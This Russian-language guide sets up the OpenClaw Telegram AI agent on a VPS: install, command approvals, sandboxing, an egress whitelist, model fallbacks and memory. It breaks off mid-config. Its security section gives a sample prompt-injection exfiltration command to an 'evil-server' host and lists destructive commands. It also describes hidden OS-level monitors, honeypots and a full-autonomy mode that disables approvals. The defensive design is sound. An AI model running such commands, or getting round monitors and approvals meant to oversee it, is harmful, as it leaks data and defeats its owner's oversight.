Инструменты ~35 мин Обновлено: Март 2026

OpenClaw — AI-агент в Telegram

Полное руководство: от установки до продвинутой настройки. Безопасность, стек моделей, экономия токенов, память, субагенты — всё в одном месте.

Что такое OpenClaw и зачем он нужен?

Представь: ты просыпаешься, а в Telegram уже ждёт сообщение от твоего личного AI-ассистента. Он напоминает о встрече, которую ты упомянул неделю назад. Он помнит, что ты работаешь над проектом X, и предлагает идею. Он знает твои привычки, цели, контекст — потому что вы общаетесь месяцами, и он ничего не забывает.

Это OpenClaw (ранее ClawdBot, MoltBot) — open-source AI-агент, созданный Петером Штайнбергером. В феврале 2026 проект передан в open-source фонд, а сам Петер присоединился к OpenAI.

Почему не просто ChatGPT или Claude.ai?

Потому что у них амнезия. Каждый новый чат — и они забывают, кто ты. OpenClaw — это другая философия:

  • Бесконечная память — помнит каждый разговор. Через год будет знать тебя лучше, чем ты сам.
  • Автономность — сам напишет, когда нужно напомнить или предложить.
  • Управление компьютером — файлы, браузер, терминал, API. Не просто отвечает — делает.
  • Приватность — данные на твоём сервере, не в облаке.
  • 24/7 — на VPS за ~300 ₽/мес доступен всегда.
⚠️
Это мощный инструмент. И опасный.

OpenClaw имеет доступ к системе, на которой работает. Один из мейнтейнеров предупредил: «Если ты не понимаешь, как запускать команды в терминале — этот проект слишком опасен для тебя». А Cisco обнаружила data exfiltration в стороннем скилле. Безопасность — не опция, а необходимость.

💡
Официальные ресурсы

Документация: docs.openclaw.ai | Исходный код: GitHub

Сравнение с другими AI-инструментами

Возможность ChatGPT / Claude.ai Cursor / Windsurf Claude Code OpenClaw
Долгосрочная памятьОграниченаПроектСессияБесконечная
ИнтерфейсВеб / ПриложениеIDEТерминалTelegram / Discord
Управление системойНетТолько кодТерминал + файлыПолное
Автономные действияНетНетНетДа
ДанныеОблако компанииОблако + локальноЛокальноТолько локально
Работает 24/7Да (их сервера)НетНетДа (твой VPS)
Для когоВсеРазработчикиРазработчикиПродвинутые

Когда OpenClaw — правильный выбор: нужен личный ассистент с памятью, общение через Telegram, приватность, автоматизация задач.

Когда лучше другое: Cursor/Windsurf — для кодинга в IDE. Claude Code — для терминальной разработки. ChatGPT — для разовых вопросов без настройки.

Быстрый старт за 10 минут

Что понадобится

  • Компьютер — macOS, Linux или Windows (через WSL2)
  • Node.js 18+nodejs.org (минимум 18, рекомендуется 22 LTS)
  • API-ключ — Claude (Anthropic) или OpenAI
  • Telegram-бот — создадим через @BotFather
⚠️
Оплата из России

API Anthropic и OpenAI не принимают российские карты напрямую. Варианты: виртуальная карта (PST.NET, Pyypl), OpenRouter как прокси, или карта друга за рубежом.

💡
Windows? Сначала WSL2

OpenClaw нативно работает только на macOS и Linux. На Windows нужен WSL2 (Windows Subsystem for Linux). Установка: wsl --install в PowerShell от администратора, перезагрузка, затем работаете внутри Ubuntu-терминала.

Шаг 1: Установка OpenClaw

Terminal (macOS / Linux / WSL2)
curl -fsSL https://openclaw.ai/install.sh | bash

Скрипт скачает последнюю версию, добавит в PATH и проверит установку.

Шаг 2: Создание Telegram-бота

1

Открой @BotFather в Telegram

Найди @BotFather и отправь /newbot

2

Задай имя и username

Имя — любое (например, «Мой AI»). Username должен заканчиваться на bot (например, my_ai_helper_bot).

3

Скопируй токен

BotFather пришлёт токен вида 7123456789:AAH... — сохрани его, он понадобится на следующем шаге.

Шаг 3: Настройка (onboard)

Terminal
openclaw onboard

Мастер настройки спросит:

  1. API-ключ — вставь ключ Anthropic или OpenAI
  2. Мессенджер — выбери Telegram
  3. Telegram-токен — вставь токен от BotFather

После завершения отправь боту любое сообщение в Telegram — если ответил, всё работает!

🎉
Бот запущен!

Теперь у тебя есть AI-ассистент в Telegram. Дальше — как заставить его работать 24/7 и настроить безопасность.

Где запустить бота 24/7

Пока OpenClaw работает на твоём компьютере — он доступен только когда компьютер включён. Для работы 24/7 нужен VPS (Virtual Private Server) — виртуальный сервер в облаке.

Минимальные требования

  • 2 ГБ RAM (рекомендуется 4 ГБ, если планируешь QMD)
  • 20 ГБ диска (SSD/NVMe)
  • Linux (Ubuntu 22.04+ или Debian 12+)
  • Стоимость: от ~250 ₽/мес (от ~4€/мес)

Рекомендуемые провайдеры

Провайдер Цена от Серверы Оплата из РФ Примечание
Hetzner ~4.50€/мес Германия, Финляндия, США Через VPN / иностранную карту Лучшее соотношение цена/качество. Рекомендуем
Aeza ~250 ₽/мес Россия, Европа Да, рубли Лучшая цена/производительность, 10 Gbps
Timeweb ~300 ₽/мес Россия, Европа Да, рубли Надёжный, удобная панель
Contabo ~4€/мес Германия, США, Азия Международные карты Дёшево, много ресурсов
Fornex ~350 ₽/мес Германия, Нидерланды, Швейцария Да, рубли Европейские серверы с оплатой в ₽
4VPS ~80 ₽/мес (РФ) Россия, Европа, Азия, США Да, рубли Самый дешёвый вариант
💡
Oracle Cloud Free Tier

Oracle даёт бесплатный VPS (ARM, 4 ядра, 24 ГБ RAM) навсегда. Ограничение: сложная регистрация и иногда нет свободных слотов. Но если получится — идеально для OpenClaw.

Быстрая установка на VPS

После подключения к серверу по SSH:

Terminal (SSH на сервере)
# 1. Обновить систему
apt update && apt upgrade -y

# 2. Установить Node.js 22
curl -fsSL https://deb.nodesource.com/setup_22.x | bash -
apt-get install -y nodejs

# 3. Установить OpenClaw
curl -fsSL https://openclaw.ai/install.sh | bash

# 4. Настроить
openclaw onboard

# 5. Запустить как демон (работает после закрытия SSH)
openclaw gateway --install-daemon
⚠️
Обязательно прочитай секцию «Безопасность» ниже

Не оставляй бота на VPS без настройки безопасности. Как минимум ограничь, кто может писать боту (Telegram allowlist).

Безопасность — разумный баланс

Философия: «Ключи от офиса, но не от сейфа». Это личный VPS с ботом, не банковский сервер. Защищаем от утечки данных наружу и случайных посторонних, но не мешаем боту работать. Если бот сломает сервер — переустановка за 30 минут.

Три слоя блокировки команд — о которых мало кто знает

OpenClaw имеет три независимых механизма, каждый из которых может заблокировать команду. Если вы настроили allowlist, а sudo всё равно не работает — причина скорее всего в третьем слое.

СлойГде настраиваетсяЧто блокируетДефолт
1. exec-approvals exec-approvals.json Команды не из белого списка allowlist + on-miss
2. approvals.exec openclaw.json Forwarding запросов в Telegram enabled: true
3. tools.elevated openclaw.json sudo, kill и другие «опасные» команды — поверх allowlist enabled: true

Ловушка: даже если exec-approvals разрешает sudo — слой tools.elevated перехватит его отдельно. Это hardcoded поведение: sudo, kill, rm и ряд других команд обрабатываются как «elevated» независимо от allowlist.

Важный нюанс: OpenClaw не различает «sudo хороший» и «rm плохой» — это один механизм. Либо все elevated-команды блокируются (и sudo, и rm, и kill), либо ни одна. Системного способа «пропустить sudo, но заблокировать rm» — нет.

Рекомендация для гайда: оставляйте tools.elevated.enabled: true (дефолт). Да, sudo будет запрашивать подтверждение — но это безопаснее, чем пропустить rm -rf /. Продвинутые пользователи могут отключить этот слой (см. секцию «Автономность»), но только при наличии других мер защиты.

Безопасность OpenClaw строится из нескольких уровней — от обязательного до продвинутого:

Уровень 1: Кто может писать боту (обязательно)

Без этого любой человек может найти твоего бота в Telegram и управлять им. Это первое, что нужно настроить.

В openclaw.json добавь Telegram allowlist:

openclaw.json — Telegram allowlist
"channels": {
  "telegram": {
    "dmPolicy": "allowlist",
    "groupPolicy": "allowlist",
    "allowFrom": ["ТВОЙ_TELEGRAM_ID"]
  }
}

Как узнать свой Telegram ID: отправь любое сообщение боту @userinfobot.

💡
Где хранятся секреты?

API-ключи хранятся в auth-profiles.json, отдельно от основного конфига. Это позволяет безопасно делиться openclaw.json без утечки ключей. Права: chmod 600.

Уровень 2: Что бот может выполнить (рекомендуется)

Exec-approvals контролируют, какие команды бот может запускать. Создай файл ~/.openclaw/exec-approvals.json:

exec-approvals.json
{
  "version": 1,
  "defaults": {
    "security": "allowlist",
    "ask": "on-miss",
    "askFallback": "deny",
    "autoAllowSkills": true
  },
  "agents": {
    "main": {
      "security": "allowlist",
      "ask": "on-miss",
      "askFallback": "deny",
      "autoAllowSkills": true,
      "allowlist": [
        { "pattern": "/usr/bin/openclaw" },
        { "pattern": "/usr/bin/ps" },
        { "pattern": "/usr/bin/systemctl" },
        { "pattern": "/usr/bin/tail" },
        { "pattern": "/usr/bin/cat" },
        { "pattern": "/usr/bin/ls" },
        { "pattern": "/usr/bin/grep" },
        { "pattern": "/usr/bin/find" }
      ]
    }
  }
}

Как это работает:

  • security: "allowlist" — бот выполняет только команды из белого списка без вопросов
  • ask: "on-miss" — если команды нет в списке, бот спросит разрешение в Telegram
  • askFallback: "deny" — если ты не ответишь за ~120 сек, команда отклоняется

Почему именно эти значения: security: "allowlist" + ask: "on-miss" — это официальный дефолт OpenClaw, рекомендуемый документацией. askFallback: "deny" — безопасный вариант: бот не выполнит ничего опасного без твоего подтверждения.

💡
Для продвинутых: askFallback: "allow"

Если бот часто блокируется, когда ты недоступен — можно поменять на "allow". Тогда при отсутствии ответа команда выполнится, но ты получишь уведомление. Удобнее, но менее безопасно.

Какие команды сознательно НЕ в allowlist:

КомандаПочему бот должен спросить
rmrm -rf / — катастрофа. Бот должен подтвердить удаление
aptapt remove может снести системные пакеты
ddПрямая запись на диск — может уничтожить данные
chmodchmod -R 777 / — открывает всё на запись
chownСмена владельца системных файлов
💡
Частая проблема: симлинки

Allowlist проверяет реальный путь бинарника, а не симлинк. Например, /usr/bin/python3 может быть симлинком на /usr/bin/python3.12 — и в allowlist нужен именно /usr/bin/python3.12. Проверяйте через readlink -f /usr/bin/python3.

Три уровня команд по риску:

УровеньКомандыРиск
Наблюдениеps, tail, cat, ls, grep, find, wc, headНулевой — только чтение
Управлениеopenclaw, systemctl, docker, npm, killСредний — перезапуск сервисов
Изменениеchmod, chown, cp, mv, mkdir, rm, sed, sudoВысокий — запись и удаление файлов

Уровень 3: Sudo и системный доступ (по желанию)

Для продвинутых задач (самообновление, перезапуск gateway) боту нужен sudo. Два варианта:

Вариант A — Ограниченный (безопаснее):

/etc/sudoers.d/neroot
neroot ALL=(ALL) NOPASSWD: /usr/local/bin/openclaw
neroot ALL=(ALL) NOPASSWD: /usr/bin/openclaw
neroot ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart openclaw-gateway
neroot ALL=(ALL) NOPASSWD: /usr/bin/systemctl status openclaw-gateway
neroot ALL=(ALL) NOPASSWD: /usr/bin/npm

Вариант B — Полный доступ (для личного VPS):

/etc/sudoers.d/neroot
neroot ALL=(ALL) NOPASSWD: ALL

Когда Вариант B — ОК: это личный VPS, exec-approvals + Telegram allowlist уже фильтруют кто и что может запустить. Ограниченный sudoers на практике приводит к «permission denied» на каждой новой команде.

Важно: после создания файла

chmod 440 /etc/sudoers.d/neroot && visudo -cf /etc/sudoers.d/neroot — обязательная проверка. Ошибка в sudoers может заблокировать sudo на сервере.

Уровень 4: Docker sandbox для субагентов (продвинутое)

Субагенты (параллельные задачи) работают в Docker-контейнере с ограничениями. Главный агент работает на хосте.

openclaw.json — sandbox
"agents": {
  "defaults": {
    "sandbox": {
      "mode": "non-main",
      "workspaceAccess": "rw",
      "scope": "session",
      "docker": {
        "memory": "1536m",
        "memorySwap": "2g",
        "pidsLimit": 256,
        "capDrop": ["ALL"],
        "network": "openclaw-egress"
      }
    }
  }
}
ПараметрЗначениеЗачем
mode: "non-main"Sandbox только для субагентовMain-агент работает на хосте без ограничений
memory: "1536m"Лимит RAM 1.5 ГБЗащита от зацикливания
pidsLimit: 256Макс. 256 процессовЗащита от fork bomb
capDrop: ["ALL"]Убрать все capabilitiesКонтейнер не может менять сеть, монтировать FS
network: "openclaw-egress"Трафик через egress proxyДефолт = "none" (без сети). Мы меняем на egress для контролируемого доступа
⚠️
Дефолтный sandbox-образ не включает Node.js

Образ openclaw-sandbox:bookworm-slim — минимальный. Если субагентам нужно запускать Node.js-скрипты внутри контейнера, потребуется кастомный образ или bind mount /usr/bin/node.

💡
3 уровня разрешений в sandbox

OpenClaw имеет три отдельных слоя контроля: agents.list[].tools.allow/deny (уровень агента), tools.sandbox.tools (фильтр инструментов sandbox), и docker.network (сеть контейнера). Нужно настроить ВСЕ три.

Уровень 5: Egress whitelist — контроль исходящего трафика

Это самый мощный слой защиты при полной автономии бота. Даже если prompt injection заставит бота выполнить curl https://evil-server.com/steal?data=... — прокси заблокирует запрос. Данные физически не смогут уйти на неизвестный сервер.

Работает через tinyproxy на хосте с режимом FilterDefaultDeny On — разрешены только домены из белого списка, всё остальное блокируется.

/etc/tinyproxy/tinyproxy.conf
Port 8888
Allow 127.0.0.1
Allow 172.28.0.0/16
Filter "/etc/tinyproxy/filter.txt"
FilterDefaultDeny On    # ВСЁ что не в списке — заблокировано
FilterURLs Off
FilterCaseSensitive Off

Белый список доменов (/etc/tinyproxy/filter.txt) — добавляйте только те домены, которые реально нужны вашему боту:

filter.txt — пример базового whitelist
# AI-провайдеры (добавьте тех, кого используете)
api\.anthropic\.com
api\.openai\.com
.*\.googleapis\.com

# Мессенджер (обязательно для вашего канала)
api\.telegram\.org

# OpenClaw (обязательно)
.*\.openclaw\.ai
.*\.clawhub\.com

# Поиск (если бот ищет в интернете)
api\.tavily\.com
.*\.wikipedia\.org

# GitHub (если бот работает с кодом)
api\.github\.com
raw\.githubusercontent\.com

# npm/pip (если бот обновляется сам)
registry\.npmjs\.org

Принцип: начните с минимума (AI-провайдер + мессенджер + OpenClaw) и добавляйте домены по мере необходимости. Каждый новый домен — потенциальная точка утечки.

Подключение sandbox к прокси — в openclaw.json в docker.env:

openclaw.json — прокси для контейнера
"docker": {
  "network": "openclaw-egress",
  "env": {
    "HTTP_PROXY": "http://172.28.0.1:8888",
    "HTTPS_PROXY": "http://172.28.0.1:8888",
    "NO_PROXY": "localhost,127.0.0.1"
  }
}

Docker-сеть создаётся один раз:

Terminal
# Создать сеть
docker network create --subnet=172.28.0.0/16 openclaw-egress

# Открыть порт прокси из контейнера на хост
iptables -I INPUT -i br-$(docker network inspect openclaw-egress \
  -f '{{.Id}}' | head -c 12) -p tcp --dport 8888 -j ACCEPT
💡
Добавление новых доменов

Когда боту нужен новый сервис — добавьте домен в filter.txt и перезапустите: systemctl restart tinyproxy. Не забывайте: каждый добавленный домен — это потенциальная точка утечки данных. Добавляйте только то, что реально используется.

Мониторинг: canary-файлы и аудит-лог

Два дополнительных механизма для обнаружения проблем:

Canary-файлы — скрипт проверяет хеши критичных файлов при каждом heartbeat (~55 мин). Если openclaw.json, exec-approvals.json или filter.txt изменились без вашего ведома — вы получите уведомление.

Аудит-лог — hook на выполнение команд, который логирует все вызовы sudo, rm, curl и других опасных команд в отдельный файл. Полезно для post-mortem анализа, если что-то пошло не так.

Итого: что реально важно

МераПриоритетЧто защищает
Telegram allowlistОбязательноКто может управлять ботом
Exec-approvalsРекомендуетсяКакие команды бот может выполнять
Egress whitelistРекомендуетсяКуда бот может отправлять данные
Sudo ограниченияПо желаниюГлубина доступа к системе
Docker sandboxПродвинутоеИзоляция субагентов
Canary + аудит-логПродвинутоеОбнаружение несанкционированных изменений

Что НЕ нужно (частые ошибки)

ОшибкаПочему плохо
sandbox.mode: "all"Главный агент попадает в контейнер — нет доступа к инструментам хоста
network: none в sandboxБот не может работать с интернетом вообще
privileged: trueОпасно — контейнер получает полный доступ к хосту
Монтирование docker.sockПолный контроль над Docker — уязвимость
💡
Хочешь углубиться?

SlowMist выпустили OpenClaw Security Practice Guide — детальный аудит безопасности от блокчейн-секьюрити фирмы.

Стек моделей (Model Layering)

OpenClaw может использовать несколько AI-моделей одновременно. Основная модель обрабатывает чат, а fallback-модели подхватывают, если основная недоступна.

Доступные модели

АлиасМодельПровайдерСила
opusClaude Opus 4.6Anthropic (Claude Max)Рассуждения, сложные задачи (1M контекст)
gpt54GPT-5.4OpenAI (ChatGPT Plus)Планирование, ревью, анализ
codexGPT-5.3 CodexOpenAI (ChatGPT Plus)Код, рефакторинг, дебаг
geminiGemini 3 ProGoogle (One AI)Большой контекст (2M!)
flashGemini 2.5 FlashGoogle AI (API key)Быстрая, дешёвая, простые задачи

Конфигурация fallbacks

openclaw.json — модели
"agents": {
  "defaults": {
    "model": {
      "primary": "anthropic/claude-opus-4-6",
      "fallbacks": [
        "openai-codex/gpt-5.4",
        "openai-codex/gpt-5.2",
        "google-gemini-cli/gemini-3-pro-preview"
      ]
    },
    "models": {
      "anthropic/claude-opus-4-6": { "alias": "opus", "params": { "cacheRetention": "long" } },
      "openai-codex/gpt-5.4": { "alias": "gpt54" },
      "openai/gpt-5.2": { "alias": "gpt52" },
      "google/gemini-2.5-flash": { "alias": "flash" },
      "google-gemini-cli/gemini-3-pro-preview": { "alias": "gemini" }
    }
  }
}

Алиасы позволяют переключать модель на лету: /model opus, /model flash и т.д. Сессия не сбрасывается — новая модель получает всю историю.

⚠️
Подводный камень при смене модели

Если предыдущая модель делала tool calls, формат ID может не совпасть → сессия зависнет. Решение: /new (новая сессия).

Подключение Claude Max (setup-token)

Claude Max ($100/мес) можно использовать вместо API — через механизм setup-token.

Шаг 1: На машине с Claude Code
# Сгенерировать токен (на машине с Claude Code CLI)
claude setup-token
Шаг 2: На сервере OpenClaw
# Вставить токен на сервере
openclaw models auth paste-token --provider anthropic --expires-in 365d
Шаг 3: Проверка
# Проверить
openclaw models status
# anthropic:manual ok expires in 365d
Важно: Terms of Service

Anthropic заявляет, что OAuth-токены (Free, Pro, Max) предназначены исключительно для Claude Code и Claude.ai. Использование в других продуктах — нарушение ToS. Setup-token работает, но вы должны знать о рисках.

Heartbeat — поддержание кеша и мониторинг

Heartbeat — фоновый пинг, который OpenClaw отправляет с заданным интервалом. Зачем: поддерживает prompt cache «тёплым» (экономит токены) и может выполнять проверки (canary-файлы, мониторинг).

openclaw.json — heartbeat
"heartbeat": {
  "every": "55m",
  "model": "google/gemini-2.5-flash"
}

Почему 55 минут: кеш prompt caching с cacheRetention: "long" живёт 1 час. Heartbeat каждые 55 минут продлевает его — кеш никогда не протухает.

Почему flash: heartbeat использует отдельную дешёвую модель (API key, не OAuth), чтобы не нагружать основную подписку и не ломаться при протухании OAuth-токена.

Ротация setup-token

Setup-token истекает через указанный срок (обычно 365 дней). Для ротации:

  1. На машине с Claude Code: claude setup-token (генерирует новый)
  2. На сервере: openclaw models auth paste-token --provider anthropic --expires-in 365d
  3. Hot-reload: kill -USR1 $(pgrep -f openclaw-gateway | head -1)

Шаги 3–4 из первоначальной настройки (добавление модели в каталог) повторять не нужно — только токен.

Hot-reload после любого изменения конфига (без перезапуска):

Terminal
kill -USR1 $(pgrep -f openclaw-gateway | head -1)

Экономия токенов и скорость

Каждое сообщение стоит токены — будь то подписка с квотой или API с оплатой за использование. Вот как тратить меньше и получать ответы быстрее.

Prompt Caching (кеширование промптов)

Системный промпт (инструкции, описания инструментов) весит 5,000–15,000 токенов и отправляется при каждом запросе. Кеширование позволяет запомнить эту часть.

openclaw.json — cacheRetention
"anthropic/claude-opus-4-6": {
  "alias": "opus",
  "params": { "cacheRetention": "long" }
}
  • "short" — кеш 5 минут (для активного чата)
  • "long" — кеш 1 час (для редких запросов)

Keep-warm трюк: heartbeat каждые 55 минут продлевает часовой кеш. Кеш никогда не протухает → экономия ~15,000 токенов на каждом сообщении.

⚠️
Кеширование и setup-token

По некоторым данным, prompt caching может не работать через setup-token — только через нативный API-ключ Anthropic. Проверяйте через /usage full.

Лимит токенов на ответ (maxTokens)

GPT-модели склонны к «словоблудию» — генерируют длинные ответы даже на простые вопросы. maxTokens — физический поводок:

openclaw.json — maxTokens для GPT
"openai-codex/gpt-5.4": {
  "alias": "gpt54",
  "params": { "maxTokens": 1500 }
},
"openai/gpt-5.2": {
  "alias": "gpt52",
  "params": { "maxTokens": 1500 }
}

1500 токенов ≈ 1000 слов. Достаточно для полноценных ответов. Для Claude Opus на Max-подписке maxTokens не нужен — фиксированная квота, длина не влияет.

Оптимизация «зрения» (Vision)

Изображения стоят в 5–10 раз дороже обычного текста.

openclaw.json — в agents.defaults (плоское поле)
"imageMaxDimensionPx": 800

Уменьшает изображения до 800px перед отправкой. Картинка 1200px → ~1500 токенов, 800px → ~700 токенов. Качество распознавания почти не страдает.

Ускорение стриминга

По умолчанию OpenClaw добавляет искусственную паузу между блоками текста. Отключаем:

openclaw.json — в agents.defaults
"humanDelay": { "mode": "off" }

Защита от зацикливания

Агент может застрять в цикле — вызывать сломанный инструмент снова и снова. В OpenClaw 2026.3 прямых ключей maxToolRetries нет, но есть:

  • sessions.agentToAgent.maxPingPongTurns — лимит межагентных ходов (0–5)
  • agents.defaults.subagents.runTimeoutSeconds — таймаут подагентов
  • Системный промпт: «Если инструмент не работает 3 раза — прекрати и сообщи»

Память и QMD

Стандартный поиск OpenClaw по памяти — простой: ищет по ключевым словам или читает файлы целиком. Это тратит токены и часто пропускает нужное. QMD — локальный поисковый движок, который заменяет это на трёхступенчатый поиск:

  1. Лексический (BM25) — точные совпадения слов, аббревиатуры, код
  2. Векторный (semantic) — по смыслу («настройки сети» найдёт «роутер и IP»)
  3. ИИ-реранкинг — нейросеть оценивает топ-30 и отдаёт только релевантное

Результат: 2–3 точных абзаца вместо чтения десятков файлов → до 90% экономии токенов.

Установка QMD

Terminal
# Зависимости
apt-get install -y unzip sqlite3 libsqlite3-dev
curl -fsSL https://bun.sh/install | bash
export PATH="$HOME/.bun/bin:$PATH"

# Установить QMD
bun install -g https://github.com/tobi/qmd
bun pm -g trust @tobilu/qmd
bun pm -g trust node-llama-cpp
bun pm -g trust better-sqlite3

# Собрать
cd ~/.bun/install/global/node_modules/@tobilu/qmd
bun add -d @types/node
bun run build

# Проверка
qmd --help

Индексация и подключение

Terminal — индексация
# Добавить workspace
qmd collection add /home/neroot/.openclaw/workspace --name workspace

# Сгенерировать эмбеддинги (~330 МБ модель при первом запуске)
qmd embed

# Проверить
qmd status

В openclaw.json добавить секцию memory на корневом уровне (рядом с agents, НЕ внутри):

openclaw.json — memory (корневой уровень!)
"memory": {
  "backend": "qmd",
  "qmd": {
    "includeDefaultMemory": true,
    "update": { "interval": "5m" }
  }
}

Режимы поиска QMD

КомандаРежимСкоростьТочность
qmd search "запрос"BM25 (ключевые слова)МгновенноСредняя
qmd vsearch "запрос"Векторный (по смыслу)БыстроХорошая
qmd query "запрос"Гибридный + реранкинг~секундыЛучшая

Расширение RAM (Swap)

Если на VPS мало RAM (< 4 ГБ), а нужен QMD — добавьте swap:

Terminal — добавить 4 ГБ swap
fallocate -l 4G /swapfile
chmod 600 /swapfile
mkswap /swapfile
swapon /swapfile
echo '/swapfile none swap sw 0 0' >> /etc/fstab
free -h

Автономность бота

Бот может обновляться сам, перезапускать gateway, управлять памятью — но в рамках безопасности.

Forwarding запросов в Telegram

Когда бот хочет выполнить команду не из allowlist — ты получаешь уведомление:

openclaw.json — approvals
"approvals": {
  "exec": {
    "enabled": true,
    "mode": "targets",
    "agentFilter": ["main"],
    "targets": [
      { "channel": "telegram", "to": "ТВОЙ_TELEGRAM_ID" }
    ]
  }
}

Бот пришлёт CONFIRM <OTP>. Ты отвечаешь: /approve <id> allow-once или /approve <id> deny.

Elevated exec — третий слой блокировки

tools.elevated — это отдельный механизм, который перехватывает «опасные» команды (sudo, kill и др.) поверх exec-approvals. Даже если allowlist разрешает sudo — elevated заблокирует его отдельно. Это самая частая причина проблемы «настроил allowlist, а sudo не работает».

Два способа управления:

Способ 1 — Через Telegram (динамически):

КомандаЧто делает
/elevated fullПолная автономия — sudo без подтверждений (пропускает все 3 слоя)
/elevated askКаждая sudo-команда требует кнопку Allow/Deny

Способ 2 — Через конфиг (постоянно):

openclaw.json — отключить elevated-перехват
"tools": {
  "elevated": {
    "enabled": false
  }
}

enabled: false — elevated-слой полностью отключён. Все команды (включая sudo, rm, kill) контролируются только через exec-approvals.

Отключать elevated — только с дополнительными мерами защиты

OpenClaw НЕ различает «sudo хороший» и «rm плохой». Если отключить elevated — rm, apt, chmod тоже перестанут блокироваться (если они в allowlist). Отключайте только если у вас есть:

  • Ограниченный sudoers (конкретные команды)
  • Egress whitelist (прокси с FilterDefaultDeny)
  • Docker sandbox для субагентов
  • Denylist опасных команд в системном промпте / AGENTS.md

Для большинства пользователей рекомендуется оставить enabled: true (дефолт).

Конфигурация полной автономии (от Артура ИИмерсивного)

Автор этого гайда использует максимально автономную конфигурацию. Бот не спрашивает разрешения ни на одну команду — всё контролируется через другие слои защиты.

openclaw.json — полная автономия
// exec-approvals.json
{
  "version": 1,
  "defaults": {
    "security": "full",
    "ask": "off"
  }
}

// openclaw.json
"tools": {
  "elevated": { "enabled": false }
},
"approvals": {
  "exec": { "enabled": false }
}

Почему это работает безопасно:

Компенсирующий слойЧто защищает
Telegram allowlist (только владелец)Никто чужой не может отправить команду боту
Egress proxy (tinyproxy + FilterDefaultDeny)Данные не уйдут на неизвестный сервер
Docker sandbox для субагентовСубагенты изолированы в контейнере
Sudoers (ограниченный или полный)Контроль на уровне ОС
Denylist в AGENTS.mdБот сам спрашивает перед rm, apt, chmod, chown, dd
Сервер одноразовыйЕсли что-то сломается — переустановка за 30 минут

"Умный Бастион" — собственная система безопасности поверх ОС

Встроенные exec-approvals OpenClaw работают на уровне приложения — prompt injection теоретически может их обойти. Поэтому мы построили дополнительную защиту на уровне ОС, которую бот не контролирует и не может отключить.

МеханизмЧто делаетКак работает
Denylist-скрипт Перехватывает опасные команды (rm, apt, chmod, chown, dd) Shell-обёртка проверяет команду → блокирует + алерт в Telegram через Bot API
Honeypot-файлы Ловушки на несанкционированный доступ Файлы backup_keys.txt, secrets.env с поддельными ключами. Чтение = мгновенный алерт
Детектор аномалий Анализ логов на подозрительную активность Cron каждый час: >50 exec-команд или >10 sudo за час = алерт
Canary-файлы Контроль целостности конфигов SHA256-хеши openclaw.json, exec-approvals.json, filter.txt. Несовпадение = алерт
Immutable бэкапы Эталонные копии конфигов chattr +i — даже root не может изменить без специальной команды
Авто-коммиты workspace Git-снапшоты рабочей директории Cron каждый час → git revert за секунду если что-то сломалось

Принцип: даже если OpenClaw полностью скомпрометирован через prompt injection — обёртки на уровне ОС сработают. Бот не знает об их существовании и не может их отключить.

Агент (полная автономия)
  │
  ├── AGENTS.md denylist ──────── правила поведения (уровень промпта)
  ├── exec-denylist-check.sh ──── программный блок + алерт (уровень ОС)
  ├── Honeypot-файлы ──────────── ловушки на чтение (уровень ОС)
  ├── Anomaly detector ────────── анализ логов (cron)
  ├── Canary-check ────────────── хеши конфигов (heartbeat)
  ├── Immutable бэкапы ────────── chattr +i (уровень FS)
  ├── Tinyproxy whitelist ─────── фильтр трафика (уровень сети)
  ├── Git auto-commit ─────────── снапшоты (cron)
  └── Docker sandbox ──────────── изоляция субагентов (контейнер)
       └── sudoers ────────────── ограниченный список команд (уровень ОС)
💡
Это возможно только с open-source

Закрытые системы (ChatGPT, Claude.ai) не дают доступа к ОС. Вы не можете поставить honeypot или перехватить команду на уровне файловой системы. Open-source = полный контроль.

Не копируйте конфигурацию полной автономии вслепую

security: "full" + ask: "off" = бот выполняет любую команду без вопросов. Это безопасно только при наличии ВСЕХ компенсирующих слоёв: Telegram allowlist, egress proxy, sandbox, "Умный Бастион". Если у вас этого нет — используйте дефолтную конфигурацию из начала секции «Безопасность».

OAuth Token Keeper

OAuth-токены (ChatGPT Plus, Google) имеют короткий срок жизни. Если несколько процессов одновременно попытаются обновить протухший токен — race condition: один использует refresh token, второй получает ошибку, авторизация рвётся.

Решение: cron-скрипт каждые 20 минут проактивно обновляет токены до того, как они протухнут:

Cron — token keeper
*/20 * * * * /usr/bin/python3 /usr/local/bin/oauth-token-keeper.py >> /var/log/oauth-token-keeper.log 2>&1

Как это работает:

  1. Читает auth-profiles.json (файл с OAuth-токенами, отдельный от openclaw.json)
  2. Для каждого провайдера проверяет: до истечения токена < 15 мин?
  3. Если да — обновляет через API провайдера проактивно
  4. Использует flock — только один процесс обновляет одновременно (решает race condition)
  5. Атомарная запись (tempfile + rename) — никогда не повредит файл
  6. Шлёт kill -USR1 gateway для перечитывания

Ключевая идея: токен обновляется ДО того, как протухнет. Gateway и субагенты всегда видят свежий токен → race condition невозможен.

💡
Если OAuth всё равно сломался

В логе /var/log/oauth-token-keeper.log видно REFRESH FAILED → нужен re-login: openclaw models auth login --provider <провайдер>. Запускать от пользователя OpenClaw (не root), иначе файл сохранится с неправильными правами.

Ротация логов

Без ротации логи OpenClaw растут бесконечно и могут забить диск. Logrotate — стандартный инструмент Linux для автоматической ротации:

/etc/logrotate.d/openclaw
/tmp/openclaw/openclaw-*.log {
    daily
    rotate 7
    compress
    delaycompress
    missingok
    notifempty
    copytruncate
    size 50M
}
ПараметрЧто делает
dailyРотация раз в день
rotate 7Хранить последние 7 файлов
compressСжимать старые логи gzip
copytruncateНе перезапускать gateway — копирует и обрезает файл на лету
size 50MРотировать если файл > 50 МБ (даже если не прошёл день)

Субагенты и оркестрация

Opus — главный координатор. Он получает задачу и выбирает, какую модель запустить как субагент:

┌─────────────────────────────────────────────────┐
│  Opus (primary) — координирует всё              │
│                                                 │
│  Получает задачу → выбирает модель → spawn      │
├─────────────────────────────────────────────────┤
│                                                 │
│  ┌──────────┐  ┌──────────┐  ┌──────────────┐  │
│  │  codex   │  │  gpt54   │  │   gemini     │  │
│  │ gpt-5.3  │  │ gpt-5.4  │  │ gemini-3-pro │  │
│  │          │  │          │  │              │  │
│  │ Код,     │  │ Ревью,   │  │ Big context  │  │
│  │ скрипты  │  │ план     │  │ (2M)         │  │
│  └──────────┘  └──────────┘  └──────────────┘  │
│                                                 │
│  ┌──────────┐  Heartbeat: flash (55 мин)        │
│  │  flash   │                                   │
│  │ gem-2.5  │  Дефолт для субагентов             │
│  │ Простые  │                                   │
│  └──────────┘                                   │
└─────────────────────────────────────────────────┘

Конфигурация

openclaw.json — agents
"agents": {
  "defaults": {
    "subagents": {
      "maxConcurrent": 8,
